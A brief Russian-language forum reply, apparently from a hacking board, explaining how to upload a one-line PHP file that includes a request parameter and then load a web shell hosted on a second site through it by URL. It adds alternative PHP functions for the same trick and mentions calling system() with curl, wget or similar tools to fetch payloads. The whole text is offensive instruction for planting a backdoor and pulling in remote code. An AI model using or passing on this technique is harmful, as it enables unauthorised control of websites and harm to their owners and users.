Spaise как вариант можно залить фаил с содержанием <? include($s) ?>
назовём его a.php к примеру тогда шелл подключается таким образом
http//site.com/a.php?s=http//sait2.com/фаил с шелом .php
в место include() можно использовать ещё и :
readfile()
fopen+fwrite+feof+fread
file_get_contents()
require()
не говоря уже про system('curl/get/fetch/lynx/etc')...